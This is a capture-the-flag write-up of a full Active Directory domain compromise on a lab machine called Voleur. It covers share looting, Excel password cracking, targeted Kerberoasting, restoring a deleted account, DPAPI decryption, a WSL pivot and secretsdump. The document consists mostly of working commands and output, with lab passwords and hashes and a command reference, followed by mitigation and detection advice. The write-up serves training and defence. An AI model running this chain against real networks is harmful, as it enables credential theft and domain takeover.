Overview

Voleur is a medium-difficulty Windows machine built around an Active Directory environment with NTLM authentication fully disabled. The challenge begins as an assumed breach, with low-privileged credentials for ryan.naylor provided as the starting point.

The full attack chain covers: Kerberos setup and SMB enumeration leading to a password-protected Excel file whose cracked contents expose service account credentials; BloodHound-driven discovery of a WriteSPN misconfiguration enabling targeted Kerberoasting against svc_winrm; Active Directory Recycle Bin abuse to restore a deleted user; offline DPAPI credential decryption to recover a higher-privileged account; and finally, pivoting through a Windows Subsystem for Linux instance to extract backup copies of ntds.dit, SYSTEM, and SECURITY - yielding the Administrator NT hash and full domain compromise.

1
2
3
4
5
6
7
8
9
ryan.naylor (assumed breach)
  -> IT share -> Access_Review.xlsx (office2john/john) -> svc_ldap, svc_iis creds
  -> BloodHound: svc_ldap --WriteSPN--> svc_winrm
  -> targeted Kerberoast -> hashcat -> svc_winrm password -> WinRM, user flag
  -> svc_ldap in "Restore Users" -> AD Recycle Bin -> restore todd.wolfe
  -> todd.wolfe archived profile -> DPAPI masterkey + credential blob -> jeremy.combs
  -> jeremy.combs: IT\Third-Line Support -> id_rsa -> WSL SSH as svc_backup
  -> svc_backup: NOPASSWD ALL -> /mnt/c backups -> ntds.dit, SYSTEM, SECURITY
  -> secretsdump -> Administrator NT hash -> Kerberos PtH -> root flag

Reconnaissance

Port scanning

1
nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.10.x

Relevant results:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
PORT      STATE SERVICE
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb)
445/tcp   open  microsoft-ds
2222/tcp  open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing

The port profile is classic Windows Domain Controller. The standout is port 2222 running OpenSSH for Ubuntu Linux - identified by nmap as a Linux kernel co-existing on the same host. This immediately signals Windows Subsystem for Linux (WSL), which will become the privilege escalation path. The domain name voleur.htb is leaked through LDAP.

Kerberos configuration

Attempting to authenticate with ryan.naylor:HollowOct31Nyt via SMB returns STATUS_NOT_SUPPORTED - NTLM is disabled across the board. Every tool and connection must use Kerberos.

Kerberos requires three things to work reliably from a Linux attack host: proper hostname resolution, a valid /etc/krb5.conf, and a synchronized clock. Kerberos will reject tickets if the client clock differs from the DC by more than five minutes (KRB_AP_ERR_SKEW).

1
2
echo "10.10.10.x DC.voleur.htb voleur.htb DC" | sudo tee -a /etc/hosts
sudo ntpdate 10.10.10.x

/etc/krb5.conf is configured to point the VOLEUR.HTB realm at dc.voleur.htb:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[libdefaults]
  default_realm = VOLEUR.HTB

[realms]
  VOLEUR.HTB = {
    kdc = dc.voleur.htb
    admin_server = dc.voleur.htb
    default_domain = voleur.htb
  }

[domain_realm]
  .voleur.htb = VOLEUR.HTB
  voleur.htb = VOLEUR.HTB

SMB enumeration

With Kerberos configured, listing shares using ryan.naylor:

1
nxc smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -k --shares

The IT share is readable. Spidering it recursively:

1
2
nxc smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -d voleur.htb -k \
  --shares --spider IT --regex .

This turns up //DC.voleur.htb/IT/First-Line Support/Access_Review.xlsx. Downloading it:

1
2
nxc smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -d voleur.htb -k \
  --share IT --get-file 'First-Line Support\\Access_Review.xlsx' Access_Review.xlsx

Excel password cracking

The file is password-protected. Extracting the embedded hash:

1
2
office2john Access_Review.xlsx > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt

Password recovered: football1.

The decrypted spreadsheet is an internal access review - a list of users, their roles, permissions, and operational notes. It’s sitting on a readable network share with only spreadsheet-level encryption for protection:

AccountNotes
Ryan.NaylorKerberos Pre-Auth disabled temporarily
Todd.WolfeLeaver. Password reset to NightT1meP1dg3on14, account deleted
Jeremy.CombsThird-Line Support; access to Software folder
svc_ldapP/W - M1XyC9pW7qT5Vn
svc_iisP/W - N5pXyW1VqM7CZ8
svc_backup“Speak to Jeremy!”
svc_winrm“Need to ask Lacey as she reset this recently”

Spraying the extracted credentials against SMB with --continue-on-success:

1
nxc smb DC.voleur.htb -u user.txt -p pass.txt -k --continue-on-success

Output confirms svc_ldap:M1XyC9pW7qT5Vn and svc_iis:N5pXyW1VqM7CZ8 are valid. svc_backup fails pre-auth, consistent with its password not being listed.

Initial Access

BloodHound and WriteSPN abuse

Collecting domain data with bloodhound-python:

1
2
bloodhound-python -u 'ryan.naylor' -d 'voleur.htb' -p 'HollowOct31Nyt' \
  -c all --zip -ns 10.10.10.x --dns-tcp

After importing and analyzing the graph, a critical edge appears: SVC_LDAP has WriteSPN rights over SVC_WINRM.

WriteSPN means svc_ldap can set or modify the servicePrincipalName attribute on svc_winrm. If an SPN is assigned to an account, any domain user can request a Kerberos service ticket (TGS) for it - and that ticket is encrypted with the target account’s NT hash, making it suitable for offline cracking. This is the primitive for a targeted Kerberoasting attack.

Targeted Kerberoasting

Requesting a TGT for svc_ldap:

1
2
3
impacket-getTGT voleur.htb/svc_ldap -dc-ip 10.10.10.x
# Password: M1XyC9pW7qT5Vn
export KRB5CCNAME=svc_ldap.ccache

Running the targeted attack with targetedKerberoast:

1
python3 targetedKerberoast.py -d voleur.htb --dchost DC -u [email protected] -k

TGS hashes are produced for both lacey.miller and svc_winrm. Cracking with hashcat:

1
hashcat tgs_hashes.txt /usr/share/wordlists/rockyou.txt

svc_winrm cracks: AFireInsidedeOzarctica980219afi. The lacey.miller hash exhausts the wordlist without a hit.

WinRM access as svc_winrm

NTLM being disabled means a Kerberos ticket is required before Evil-WinRM will connect:

1
2
3
4
impacket-getTGT voleur.htb/svc_winrm -dc-ip 10.10.10.x
# Password: AFireInsidedeOzarctica980219afi
export KRB5CCNAME=svc_winrm.ccache
evil-winrm -i dc.voleur.htb -r VOLEUR.HTB
1
*Evil-WinRM* PS C:\Users\svc_winrm\Documents>

The user flag is on the desktop:

1
2
*Evil-WinRM* PS C:\Users\svc_winrm\Desktop> type user.txt
[REDACTED_USER_FLAG]

Lateral Movement

AD Recycle Bin - restoring Todd Wolfe

BloodHound also revealed that svc_ldap is a member of a non-standard group named Restore Users. This group suggests it can restore deleted objects from the Active Directory Recycle Bin - a feature that preserves deleted AD objects (users, groups, computers) in a marked-deleted state before they are permanently purged.

Uploading RunasCs.exe to the WinRM session and executing commands as svc_ldap with logon type 9 (network logon) to query deleted objects:

1
2
3
4
5
*Evil-WinRM* PS> upload RunasCs.exe
*Evil-WinRM* PS> ./RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "powershell.exe -NoProfile `
  -ExecutionPolicy Bypass -Command Get-ADObject -Filter 'isDeleted -eq `$true' `
  -IncludeDeletedObjects -Properties distinguishedName,objectSid `
  -SearchBase 'CN=Deleted Objects,DC=voleur,DC=htb'"

Output:

1
2
3
4
5
6
Deleted           : True
DistinguishedName : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,
                    CN=Deleted Objects,DC=voleur,DC=htb
Name              : Todd Wolfe DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
ObjectClass       : user
objectSid         : S-1-5-21-3927696377-1337352550-2781715495-1110

This is the same Todd Wolfe from the spreadsheet, whose reset password (NightT1meP1dg3on14) was documented before deletion. Restoring the account:

1
2
3
*Evil-WinRM* PS> ./RunasCs.exe svc_ldap M1XyC9pW7qT5Vn "powershell.exe -NoProfile `
  -ExecutionPolicy Bypass -Command Restore-ADObject `
  'CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb'"

Re-querying deleted objects confirms Todd Wolfe no longer appears - the account is active and authenticatable with its documented password.

DPAPI offline decryption - recovering jeremy.combs

After getting a TGT for the restored account:

1
2
3
4
impacket-getTGT voleur.htb/todd.wolfe -dc-ip 10.10.10.x
# Password: NightT1meP1dg3on14
export KRB5CCNAME=todd.wolfe.ccache
nxc smb dc.voleur.htb -u todd.wolfe -p NightT1meP1dg3on14 -d VOLEUR.htb -k --shares

The IT share is readable. Spidering it as Todd Wolfe reveals an archived home directory at IT/Second-Line Support/Archived Users/todd.wolfe/. Browsing with impacket-smbclient:

1
impacket-smbclient -k [email protected]

Inside the archived profile, the AppData\Roaming\Microsoft directory contains two critical artifacts:

  • Credential blob: Credentials\772275FAD58525253490A9B0039791D3
  • DPAPI master key: Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88

Both are downloaded with get.

Windows DPAPI protects credential blobs using a per-user master key, which is itself encrypted using the user’s password and SID. Since both are known (NightT1meP1dg3on14 and S-1-5-21-3927696377-1337352550-2781715495-1110), offline decryption is possible without touching the live system.

Decrypt the master key:

1
2
3
4
impacket-dpapi masterkey \
  -file 08949382-134f-4c63-b93c-ce52efc0aa88 \
  -sid S-1-5-21-3927696377-1337352550-2781715495-1110 \
  -password NightT1meP1dg3on14

Output:

1
2
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

Using this key to decrypt the credential blob:

1
2
3
impacket-dpapi credential \
  -file 772275FAD58525253490A9B0039791D3 \
  -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

Output:

1
2
3
4
[CREDENTIAL]
Target   : Domain:target=Jezzas_Account
Username : jeremy.combs
Password : qT3V9pLXyN7W4m

Cross-referencing with the spreadsheet, Jeremy Combs is a Third-Line Support Technician with broader system access - and the note for svc_backup explicitly directed readers to speak to Jeremy.

Privilege Escalation

Accessing C:\IT\Third-Line Support as jeremy.combs

1
2
3
4
impacket-getTGT voleur.htb/jeremy.combs -dc-ip 10.10.10.x
# Password: qT3V9pLXyN7W4m
export KRB5CCNAME=jeremy.combs.ccache
evil-winrm -i dc.voleur.htb -r VOLEUR.HTB
1
*Evil-WinRM* PS C:\Users\jeremy.combs\Documents>

Navigating to C:\IT\Third-Line Support:

1
2
3
4
5
Mode        LastWriteTime         Length  Name
----        -------------         ------  ----
d-----      1/30/2025   8:11 AM           Backups
-a----      1/30/2025   8:10 AM     2602  id_rsa
-a----      1/30/2025   8:07 AM      186  Note.txt.txt

The note:

1
2
3
4
5
6
7
8
9
Jeremy,

I've had enough of Windows Backup! I've part configured WSL to see if we can utilize
any of the backup tools from Linux.

Please see what you can set up.

Thanks,
Admin

The combination of an id_rsa private key and a mention of WSL-based backup tooling

  • alongside the earlier nmap finding of Ubuntu OpenSSH on port 2222 - makes the next step clear. This key likely authenticates to the WSL instance as svc_backup.

Pivoting into WSL via SSH

1
2
3
4
5
6
# In Evil-WinRM:
download id_rsa

# On Kali:
chmod 600 id_rsa
ssh -i id_rsa [email protected] -p 2222
1
2
Welcome to Ubuntu 20.04 LTS (GNU/Linux 4.4.0-20348-Microsoft x86_64)
svc_backup@DC:~$

Checking sudo privileges:

1
2
3
4
svc_backup@DC:~$ sudo -l
User svc_backup may run the following commands on DC:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL

Unrestricted, passwordless sudo. Escalating to root within WSL is trivial:

1
2
svc_backup@DC:~$ sudo su
root@DC:/home/svc_backup#

More important than the WSL root shell is what it exposes - the Windows filesystem is mounted at /mnt/c. Exploring the backup directory:

1
2
3
4
5
6
7
8
root@DC:/mnt/c/IT/Third-Line Support/Backups# ls
'Active Directory'   registry

root@DC:/mnt/c/IT/Third-Line Support/Backups/registry# ls
SECURITY  SYSTEM

root@DC:/mnt/c/IT/Third-Line Support/Backups/Active Directory# ls
ntds.dit  ntds.jfm

ntds.dit, SYSTEM, and SECURITY - the full set needed for offline domain credential extraction.

Extracting domain credentials

The files are transferred via SCP from Kali, quoting the path to handle the space in Third-Line Support:

1
2
3
4
5
6
7
8
scp -i id_rsa -P 2222 \
  "[email protected]:/mnt/c/IT/Third-Line Support/Backups/registry/SECURITY" ./SECURITY

scp -i id_rsa -P 2222 \
  "[email protected]:/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM" ./SYSTEM

scp -i id_rsa -P 2222 \
  "[email protected]:/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit" ./ntds.dit

Running secretsdump against the local files:

1
impacket-secretsdump local -system SYSTEM -security SECURITY -ntds ntds.dit

Output (key entries):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:d5db085d469e3181935d311b72634d77:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5aeef2c641148f9173d663be744e323c:::
voleur.htb\ryan.naylor:1103:aad3b435b51404eeaad3b435b51404ee:3988a78c5a072b0a84065a809976ef16:::
voleur.htb\svc_ldap:1106:aad3b435b51404eeaad3b435b51404ee:0493398c124f7af8c1184f9dd80c1307:::
voleur.htb\svc_backup:1107:aad3b435b51404eeaad3b435b51404ee:f44fe33f650443235b2798c72027c573:::
voleur.htb\jeremy.combs:1109:aad3b435b51404eeaad3b435b51404ee:7b4c3ae2cbd5d74b7055b7f64c0b3b4c:::
voleur.htb\svc_winrm:1601:aad3b435b51404eeaad3b435b51404ee:5d7e37717757433b4780079ee9b1d421:::

The Administrator NT hash is e656e07c56d831611b577b160b259ad2.

Root access

NTLM authentication is disabled on the network, so pass-the-hash against SMB or WinRM directly won’t work. However, impacket-getTGT supports NT hash authentication and can request a valid Kerberos TGT, which any Kerberos-capable service will accept:

1
2
3
impacket-getTGT voleur.htb/administrator -hashes :e656e07c56d831611b577b160b259ad2
export KRB5CCNAME=administrator.ccache
evil-winrm -i dc.voleur.htb -u Administrator -r VOLEUR.HTB
1
2
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED_ROOT_FLAG]

Detection and Mitigation

StageRoot causeMitigation
Credential leak in a shareAccess_Review.xlsx readable by any domain user, protected only by a spreadsheet passwordNever store credentials in documents on network shares, regardless of document-level encryption
WriteSPN Kerberoastingsvc_ldap had WriteSPN over svc_winrmAudit SPN-write permissions on non-computer objects; enforce strong, long service-account passwords
AD Recycle Bin abuseRestore Users group could reinstate a deleted account with a known passwordTightly control membership of Recycle Bin restore groups; purge credentials before archiving accounts
DPAPI recovery from an archived profileMaster key and credential blob survived in an “archived” home directoryExplicitly purge DPAPI-protected material before archiving decommissioned profiles
WSL privilege escalationsvc_backup had unrestricted, passwordless sudo inside WSL with /mnt/c accessApply least privilege to WSL distributions; treat WSL as part of the Windows security boundary

Detection signals:

  • Restore-ADObject calls against Deleted Objects outside of expected maintenance windows.
  • Reads of msDS-KeyCredentialLink/DPAPI-related files (Credentials\*, Protect\<SID>\*) from archived profile shares.
  • SSH logins to a WSL distribution followed by access to /mnt/c paths containing SYSTEM, SECURITY, or ntds.dit.
  • impacket-getTGT / Kerberos TGT requests using raw NT hashes (-hashes :<hash>) for privileged accounts.

Lessons Learned

  • Sensitive credentials in a readable share. Access_Review.xlsx was stored in a network share accessible to any authenticated domain user, protected only by a spreadsheet password that cracked in under ten seconds. The file contained plaintext credentials for multiple service accounts, a deleted user’s reset password, and enough operational context to map the entire privilege chain.
  • WriteSPN as a Kerberoasting primitive. svc_ldap holding WriteSPN over svc_winrm is a textbook misconfiguration: the ability to register a servicePrincipalName on an account is all that’s needed to make it Kerberoastable.
  • AD Recycle Bin as an attack surface. Restore Users group membership allowed re-activating a deleted account whose credentials were already documented.
  • DPAPI secrets surviving in archived profiles. Todd Wolfe’s DPAPI-protected credential blob remained decryptable from an archived home directory years after the account was logically decommissioned, because the master key decryption only requires the user’s SID and password - both of which were documented in the leaked spreadsheet.
  • WSL expanding the Windows attack surface. The WSL instance ran as svc_backup with full, passwordless sudo rights and transparent read/write access to the Windows filesystem at /mnt/c. A key found in a Windows directory unlocked root-equivalent access to Active Directory backup files that would otherwise require Domain Admin privileges to touch.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Kerberos setup
echo "<IP> DC.voleur.htb voleur.htb DC" | sudo tee -a /etc/hosts
sudo ntpdate <IP>

# SMB enum + Excel extraction
nxc smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -k --shares --spider IT --regex .
nxc smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -d voleur.htb -k \
  --share IT --get-file 'First-Line Support\\Access_Review.xlsx' Access_Review.xlsx
office2john Access_Review.xlsx > hash && john hash --wordlist=/usr/share/wordlists/rockyou.txt

# BloodHound + targeted Kerberoast
bloodhound-python -u ryan.naylor -d voleur.htb -p 'HollowOct31Nyt' -c all --zip -ns <IP> --dns-tcp
impacket-getTGT voleur.htb/svc_ldap -dc-ip <IP>
python3 targetedKerberoast.py -d voleur.htb --dchost DC -u [email protected] -k
hashcat tgs_hashes.txt /usr/share/wordlists/rockyou.txt

# WinRM as svc_winrm
impacket-getTGT voleur.htb/svc_winrm -dc-ip <IP>
evil-winrm -i dc.voleur.htb -r VOLEUR.HTB

# AD Recycle Bin restore (via RunasCs as svc_ldap)
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -SearchBase 'CN=Deleted Objects,DC=voleur,DC=htb'
Restore-ADObject 'CN=Todd Wolfe\0ADEL:<GUID>,CN=Deleted Objects,DC=voleur,DC=htb'

# DPAPI decryption
impacket-dpapi masterkey -file <masterkey-file> -sid <SID> -password NightT1meP1dg3on14
impacket-dpapi credential -file <credential-blob> -key <decrypted-masterkey>

# WSL pivot + backup extraction
ssh -i id_rsa svc_backup@<IP> -p 2222
scp -i id_rsa -P 2222 "svc_backup@<IP>:/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM" ./SYSTEM
impacket-secretsdump local -system SYSTEM -security SECURITY -ntds ntds.dit

# Domain compromise
impacket-getTGT voleur.htb/administrator -hashes :<administrator-nt-hash>
evil-winrm -i dc.voleur.htb -u Administrator -r VOLEUR.HTB